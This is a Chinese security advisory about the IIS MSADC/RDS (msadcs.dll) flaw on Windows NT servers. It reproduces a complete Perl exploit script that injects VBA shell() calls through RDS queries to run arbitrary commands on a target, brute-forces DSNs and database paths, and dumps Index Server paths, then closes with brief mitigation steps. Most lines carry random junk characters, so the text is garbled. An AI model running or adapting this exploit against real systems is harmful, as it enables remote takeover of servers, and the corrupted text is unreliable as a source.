IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{Y]3t9 !\ 7#*O|t/' 涉及程序：
.:;q8FL/ Microsoft NT server
H0.&~!,* l$! NEOK 描述：
=<= [E:B 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)In;nc .J5or 详细：
NH 1|_2 如果你没有时间读详细内容的话，就删除:
n=!5ha%#N c:\Program Files\Common Files\System\Msadc\msadcs.dll
e<Oz % 有关的安全问题就没有了。
c1f`?i} . Hpp;dG 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
2PSv3?". )MM(HS 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)@.ODW;` 关于利用ODBC远程漏洞的描述，请参看:
uA%F0oM XT==N-5, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e=u}J%| yaX%<KBa\ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"rQ?2?
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )[t3-' 1b!5h 这里不再论述。
Y3hudjhLl ,?GAFg K: 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
#:
,X^"w3 <lSo7NkR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
D B] ] 6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
d
k|X&)xTJ xU 9^8,6 _j_c& #将下面这段保存为txt文件，然后: "perl -x 文件名"
:Sk<0VVd7 3_ =:^Z #!perl
+ n 8,=} #
,76nDXy` # MSADC/RDS 'usage' (aka exploit) script
cC,g d\}M #
yLt?XhRlp # by rain.forest.puppy
]b&qC
( #
E| B1h!!\c # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=1F F2#zS # beta test and find errors!
ou&7v<)x4 kca Y use Socket; use Getopt::Std;
gi\UNT9x getopts("e:vd:h:XR", \%args);
K9'AYFse $4TawFf"nc print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X@B,w_b @ j4~`~8 if (!defined $args{h} && !defined $args{R}) {
F8Z6Ss|v3 print qq~
TUd=qnu Usage: msadc.pl -h <host> { -d <delay> -X -v }
S#7.y~e\ -h <host> = host you want to scan (ip or domain)
SRk-3 : -d <seconds> = delay between calls, default 1 second
X _I.f6v{ -X = dump Index Server path table, if available
akA C^: F -v = verbose
*:,7
A9LY -e = external dictionary file for step 5
s|8_R; r \{; ~V Or a -R will resume a command session
&nF7CCF K <Y-/t ~; exit;}
7R om#Kl: _$4vk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}EHmVPe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DfP
vi1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
F (:] lM| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3gmu- t v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
D'Sdz\:4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
#EU x1II ,b8B)VZ? if (!defined $args{R}){ $ret = &has_msadc;
Ucok&)7- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1hgmlY` W?auY_+P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-z L xT . "cmd /c ";
?x
&"EhA> $in=<STDIN>; chomp $in;
\LW
'6
pQ_ $command="cmd /c " . $in ;
[kq+a] q )c<5:c if (defined $args{R}) {&load; exit;}
;;- I<TL 0bk094 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
a xi%5:I &try_btcustmr;
}+f@$L
Eq/%k $6#1 print "\nStep 2: Trying to make our own DSN...";
G ;pxB,4s5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/!0{9F< jCbxI^3A print "\nStep 3: Trying known DSNs...";
.W%{j()op &known_dsn;
|"a%S,I' o %tvwv print "\nStep 4: Trying known .mdbs...";
$PNIuC?= &known_mdb;
kQm\;[R enJE#4Z5&s if (defined $args{e}){
(@?PN+68| print "\nStep 5: Trying dictionary of DSN names...";
N;\by<snN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$
V"7UA22 ojd/%@+u+Y print "Sorry Charley...maybe next time?\n";
;HaG-c</ exit;
O ijG@bI8 l*yJU3PW ##############################################################################
L$FLQyDR A5gdZZ'x sub sendraw { # ripped and modded from whisker
C"ZCX6p+$ sleep($delay); # it's a DoS on the server! At least on mine...
} Pc6_# my ($pstr)=@_;
&wZ:$ lK#o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XA:v:JFS die("Socket problems\n");
fXYg % if(connect(S,pack "SnA4x8",2,80,$target)){
52#@.Qa select(S); $|=1;
s&$Zgf6Z print $pstr; my @in=<S>;
QJ
s /0iw select(STDOUT); close(S);
P
A9
]L return @in;
b9([)8 } else { die("Can't connect...\n"); }}
S\jN:o#b PRCr7f ##############################################################################
{N$G|bm]u< Re
b^w, sub make_header { # make the HTTP request
k^.9;FmQ my $msadc=<<EOT
0Q5ua `U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
- K)P|'-?m User-Agent: ACTIVEDATA
[ 0} ^w[ Host: $ip
A{ hWFSv Content-Length: $clen
> c7fg ^@ Connection: Keep-Alive
Piz/vH6M} d+fi g{<b ADCClientVersion:01.06
kqA`d Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`r iK[@ A_@#V)D2 --!ADM!ROX!YOUR!WORLD!
.
\fzK Content-Type: application/x-varg
E -i rB/0 Content-Length: $reqlen
@hWt.qO3s {j
E}mzi EOT
Y0U<l1(| ; $msadc=~s/\n/\r\n/g;
0 BIH.ZV# return $msadc;}
/cDla5eej ` oYrW0Vm ##############################################################################
'
7>V4\" PhM 3?$ sub make_req { # make the RDS request
nK6{_Y> my ($switch, $p1, $p2)=@_;
C (_xqn my $req=""; my $t1, $t2, $query, $dsn;
avk0pY(n W!z=AL{ if ($switch==1){ # this is the btcustmr.mdb query
f?_H02j`/E $query="Select * from Customers where City=" . make_shell();
nlK"2/W $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-` B |$ W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uV *&a~ Wel-a<
e elsif ($switch==2){ # this is general make table query
@QMMtfeLj $query="create table AZZ (B int, C varchar(10))";
H5=-b@( $dsn="$p1";}
(Y!@,rKd a30 37~X elsif ($switch==3){ # this is general exploit table query
\?)<==^ $query="select * from AZZ where C=" . make_shell();
U w][ U $dsn="$p1";}
Ohn d:8E T.aY {Y elsif ($switch==4){ # attempt to hork file info from index server
h 5ST`jZ $query="select path from scope()";
dH zo_VV $dsn="Provider=MSIDXS;";}
>t
O(S X'WbS elsif ($switch==5){ # bad query
'z ZN]P $query="select";
m4|9p{E $dsn="$p1";}
A3 bE3Fk$ !["WnF{5eC $t1= make_unicode($query);
2rf-pdOvG $t2= make_unicode($dsn);
D'#Wc#b $req = "\x02\x00\x03\x00";
TgVvp0F; $req.= "\x08\x00" . pack ("S1", length($t1));
m
Fwx},dl $req.= "\x00\x00" . $t1 ;
+dk}$w[ g $req.= "\x08\x00" . pack ("S1", length($t2));
QVI4 <Rxg $req.= "\x00\x00" . $t2 ;
Yyb y 1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W[:
n *h return $req;}
7\K=8G 3j(GcR 9 ##############################################################################
7
rOziKZ" <`b)56v:+ sub make_shell { # this makes the shell() statement
U*=ebZno return "'|shell(\"$command\")|'";}
uG2 Hzav J(VJMS;_ ##############################################################################
uJm9h(xq a}+|2k_ sub make_unicode { # quick little function to convert to unicode
soXeHjNl my ($in)=@_; my $out;
=zt@*o{F for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
INE8 @}e return $out;}
-Yy,L%E]F: {d(@o!;Fi ##############################################################################
NI \jGR. 6fQNF22E sub rdo_success { # checks for RDO return success (this is kludge)
mHUQtGAVQ my (@in) = @_; my $base=content_start(@in);
P p6(7j if($in[$base]=~/multipart\/mixed/){
G0|j 3y9$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
try'%0 }> return 0;}
m49GCo k+ `\P#TBM ##############################################################################
=M)+O%`*6 u!];RHOp| sub make_dsn { # this makes a DSN for us
)}1 J.>5 my @drives=("c","d","e","f");
r%JJ 5Al.S print "\nMaking DSN: ";
8/x@|rjW foreach $drive (@drives) {
#7+ oM8b print "$drive: ";
lzN\~5 a} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
AF>J8 V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Mk7,:S . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
kcVEE)zb $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{Tl5,CAz return 0 if $2 eq "404"; # not found/doesn't exist
?k]^?7GN if($2 eq "200") {
\vXo~ _-& foreach $line (@results) {
{A2(a7v V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
DZ
|0CB~ } return 0;}
+dcBh Dq Q-_&5/G ##############################################################################
9"K EHf! +ZEj(fd9 sub verify_exists {
<T+)~&g$ my ($page)=@_;
Lf{9=; my @results=sendraw("GET $page HTTP/1.0\n\n");
/mX/
"~ return $results[0];}
L]3 V)`} >f JY ##############################################################################
+Fp8cT=1 Fx*iAH\e sub try_btcustmr {
H[UV] qO, my @drives=("c","d","e","f");
-uXf?sT V my @dirs=("winnt","winnt35","winnt351","win","windows");
D.9qxM"Z> W~z
2Q
so foreach $dir (@dirs) {
BMkN6 8q print "$dir -> "; # fun status so you can see progress
@r^a/] 5D foreach $drive (@drives) {
~oy =2Q<Z print "$drive: "; # ditto
K>hQls+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9q5jqFQ $reqlenlen=length( "$reqlen" );
_SC{nZ[ $clen= 206 + $reqlenlen + $reqlen;
)HQ':ZE$ -'r4@='6} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:3J, t//c if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@9lV~,,U else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_o/LFLq Gj f b< ##############################################################################
=VFi}C/ dE~]%fUFy- sub odbc_error {
mZQW>A]iE my (@in)=@_; my $base;
mD<- <]SYp my $base = content_start(@in);
T^ > ST if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>7i&(6L $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PTrKnuM\J_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<fg~+{PA& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ybo:2e return $in[$base+4].$in[$base+5].$in[$base+6];}
ce@1#}* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
#m=TK7*v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)voJq\Y)% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S-l<+O1fy q#B=PZ'NA ##############################################################################
Ut.%=o;&[ /.P9n9 sub verbose {
9.u}<m my ($in)=@_;
4zyN>f| return if !$verbose;
OGW,[k= 2{ print STDOUT "\n$in\n";}
A!B: vJ /9T .]H ~ ##############################################################################
_ )-t #Ve 3m%o XT sub save {
C+o1.#]JM my ($p1, $p2, $p3, $p4)=@_;
n-zAkKM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
T% 74JRQ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~(i#A> close OUT;}
O(x1Ja,& }huj%Pnk ) ##############################################################################
3-x ;_ *\Z9=8yK sub load {
s ^f7w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U )kl ! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>T84NFdz+ @p=<IN>; close(IN);
Buc{dcL/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
NULew]:5 $target= inet_aton($ip) || die("inet_aton problems");
|i_+b@Lul print "Resuming to $ip ...";
_y:-_q $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
s kr dL.5 if($p[1]==1) {
by07l5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
uCkXzb9_z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
e}l F#$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
tVfZ~q J if (rdo_success(@results)){print "Success!\n";}
CjR!dh1w_ else { print "failed\n"; verbose(odbc_error(@results));}}
eX)'C>4W elsif ($p[1]==3){
u}I-#j)wap if(run_query("$p[3]")){
O-P'Ff"}t print "Success!\n";} else { print "failed\n"; }}
Td,2.YMQ elsif ($p[1]==4){
NM
FgCL if(run_query($drvst . "$p[3]")){
uuHg=8( print "Success!\n"; } else { print "failed\n"; }}
EzII!0 F exit;}
0?V{u`* 0 zQ~'x ##############################################################################
7R5m|h`M a]H&k$!c sub create_table {
^IQtXae6M my ($in)=@_;
DVJuX~'|! $reqlen=length( make_req(2,$in,"") ) - 28;
Hk&op P9) $reqlenlen=length( "$reqlen" );
^wass_8 $clen= 206 + $reqlenlen + $reqlen;
qwhDv+o my @results=sendraw(make_header() . make_req(2,$in,""));
>EE}P|=- return 1 if rdo_success(@results);
R+sv? 4k my $temp= odbc_error(@results); verbose($temp);
p1F{ v^ return 1 if $temp=~/Table 'AZZ' already exists/;
y{>T['"@ return 0;}
l,fwF ua u~rPqBT{d3 ##############################################################################
Q|KD$2rB /]U),LbN sub known_dsn {
8*zORz # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3~q#P my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B*Z}=$1j "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
osM[X v "banner", "banners", "ads", "ADCDemo", "ADCTest");
{Jbouj?V! +{~ cX] | foreach $dSn (@dsns) {
%-?k [DL6 print ".";
u.yYE,9 next if (!is_access("DSN=$dSn"));
oU l0w~Xn if(create_table("DSN=$dSn")){
t tZ print "$dSn successful\n";
`d c&B if(run_query("DSN=$dSn")){
/,d]`N! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q$7w?(Lk print "Something's borked. Use verbose next time\n";}}} print "\n";}
- +<ai 5J-slNN CQ ##############################################################################
,NAwSmocVP U|
T} 0 sub is_access {
Sq ]VtQ( my ($in)=@_;
wY]ejK$0R $reqlen=length( make_req(5,$in,"") ) - 28;
`\b eQ(g $reqlenlen=length( "$reqlen" );
-e\OF3 Td $clen= 206 + $reqlenlen + $reqlen;
]FNe&o1zX my @results=sendraw(make_header() . make_req(5,$in,""));
o,r K8x my $temp= odbc_error(@results);
<=~*`eWV verbose($temp); return 1 if ($temp=~/Microsoft Access/);
GX+Gqj . return 0;}
%)ri:Q q XqLR2 d ##############################################################################
,UYe OM2Ao 63`5A3rii sub run_query {
`#*` hH8 my ($in)=@_;
"M;[c 9 $reqlen=length( make_req(3,$in,"") ) - 28;
7aS%;EU $reqlenlen=length( "$reqlen" );
'2qbIYanh $clen= 206 + $reqlenlen + $reqlen;
QVF561Yz my @results=sendraw(make_header() . make_req(3,$in,""));
yi8AzUW
cW return 1 if rdo_success(@results);
fBb:J + my $temp= odbc_error(@results); verbose($temp);
/&H l62Ak return 0;}
Fs}B\R/J |Ed?s ##############################################################################
w1EB>!<;tj o) wOXF sub known_mdb {
1@t8i?:h my @drives=("c","d","e","f","g");
v4]#Nc$~T my @dirs=("winnt","winnt35","winnt351","win","windows");
*5u3d`bW my $dir, $drive, $mdb;
/hu r6yI8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
hbe" ;( _WGWU7h # this is sparse, because I don't know of many
~ #jnkD my @sysmdbs=( "\\catroot\\icatalog.mdb",
kXWC
o6? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
oj=% < a "\\system32\\certmdb.mdb",
:IO"' b "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lDL(,ZZS` * V_b/Vt my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ef@F!s_fI "\\cfusion\\cfapps\\forums\\forums_.mdb",
$a|>>?8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
5g`J}@"k "\\cfusion\\cfapps\\security\\realm_.mdb",
S c ijf 9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
gj7'4 3
?W "\\cfusion\\database\\cfexamples.mdb",
VtzBYza "\\cfusion\\database\\cfsnippets.mdb",
33ZHrZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Jt:)(&-t "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_VB;fH$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
4j}.=u* X7 "\\cfusion\\database\\smpolicy.mdb",
1@N4Y9o "\\cfusion\\database\cypress.mdb",
BXNC( ^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
bw)E;1zo "\\website\\cgi-win\\dbsample.mdb",
=)#<u9
qqL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z6zLL "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[x%8l,O
#l ); #these are just
eNK6=D| foreach $drive (@drives) {
RA!8AS? foreach $dir (@dirs){
4a v foreach $mdb (@sysmdbs) {
^jXKM!}-E print ".";
b\^1P;!'W if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
iL<FF N ~{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
uF ;8B]" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_} j 6Pw' print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g* -}9~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
L'$({ Zbr1e5? foreach $drive (@drives) {
jgqeDl\=+ foreach $mdb (@mdbs) {
.kyes4Z print ".";
E<p<"UjcCJ if(create_table($drv . $drive . $dir . $mdb)){
sZwa#CQK q print "\n" . $drive . $dir . $mdb . " successful\n";
b)>l7nOc if(run_query($drv . $drive . $dir . $mdb)){
<O41 M\, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Q O>)ug+ } else { print "Something's borked. Use verbose next time\n"; }}}}
_7R6%^ }
S"fq E% R2qz>kyyB ##############################################################################
uF{l`|b' [B^V{nUB c sub hork_idx {
&Z}}9d d print "\nAttempting to dump Index Server tables...\n";
RDeI l& print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
BwYR " $reqlen=length( make_req(4,"","") ) - 28;
VrKLEN\ $reqlenlen=length( "$reqlen" );
MH]?:]K9V $clen= 206 + $reqlenlen + $reqlen;
'X\C/8\ my @results=sendraw2(make_header() . make_req(4,"",""));
DB'3h7 T if (rdo_success(@results)){
1lsg|iVz my $max=@results; my $c; my %d;
x}f)P for($c=19; $c<$max; $c++){
KfSbm? $results[$c]=~s/\x00//g;
PWV+ M@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
iA4VT, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.B! L+M< [ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3!Mb<W.3 $d{"$1$2"}="";}
- v=ndJ. foreach $c (keys %d){ print "$c\n"; }
1`1Jn*|TI } else {print "Index server doesn't seem to be installed.\n"; }}
Qqd +=mgc #UnGU,J ##############################################################################
QZ5%nJme_ FC4hvO(/m sub dsn_dict {
qvs[Gkaa@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>` n)-8 while(<IN>){
:U faMe5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
e63io0g> next if (!is_access("DSN=$dSn"));
q#0y u"< if(create_table("DSN=$dSn")){
pW&8 =Ew print "$dSn successful\n";
vX*kvEG if(run_query("DSN=$dSn")){
j[=P3Z0q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
F3nP Qw{; print "Something's borked. Use verbose next time\n";}}}
R?] S<Z print "\n"; close(IN);}
?' $} k 08$l= ##############################################################################
"-Uqv @ @ 3b- sub sendraw2 { # ripped and modded from whisker
cMfnc.P\K sleep($delay); # it's a DoS on the server! At least on mine...
bR=TGL& my ($pstr)=@_;
Z"G?+g M@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^.[+)0I die("Socket problems\n");
nB |fw" if(connect(S,pack "SnA4x8",2,80,$target)){
n* z;%'0 print "Connected. Getting data";
xQ=L2p X open(OUT,">raw.out"); my @in;
,f
.#- select(S); $|=1; print $pstr;
kCKCJ }N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
v8THJ f close(OUT); select(STDOUT); close(S); return @in;
,`( Qs7)Xx } else { die("Can't connect...\n"); }}
yiczRex%rq 6}_J;g\| ##############################################################################
Bn
Nu/02.= ]Wc 2$ sub content_start { # this will take in the server headers
#~6X9,x = my (@in)=@_; my $c;
HmpV;
<t3 for ($c=1;$c<500;$c++) {
(Jy > ,~O if($in[$c] =~/^\x0d\x0a/){
*%dWNvN4X if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
}& 01=nY else { return $c+1; }}}
n(\VP!u5r return -1;} # it should never get here actually
)<L?3Jjt5 (X Ql2C ##############################################################################
>&|/4`HSB oX-h7;SD sub funky {
{Y t i my (@in)=@_; my $error=odbc_error(@in);
3
J\&t4q if($error=~/ADO could not find the specified provider/){
1c $iW>0K print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-PH qD exit;}
gjy:o5{vA* if($error=~/A Handler is required/){
q%FXox~b print "\nServer has custom handler filters (they most likely are patched)\n";
7=4V1FS6i exit;}
j,g.Eo if($error=~/specified Handler has denied Access/){
j"<F?k@`Q print "\nServer has custom handler filters (they most likely are patched)\n";
[u8J qX exit;}}
V[">SiOg 1L. yh U\ ##############################################################################
RTYhgq x;/%`gKn8 sub has_msadc {
r)Iq47Uiw my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
?E7.x%n7X5 my $base=content_start(@results);
av!~B, return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
wE IAU return 0;}
7A>glZ/x _+ nlm5 ########################
o
n?8l?iQ JZ0u/x5 9/50+2F 解决方案：
TGozoPV 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@RS|}M^4 2、移除web 目录: /msadc
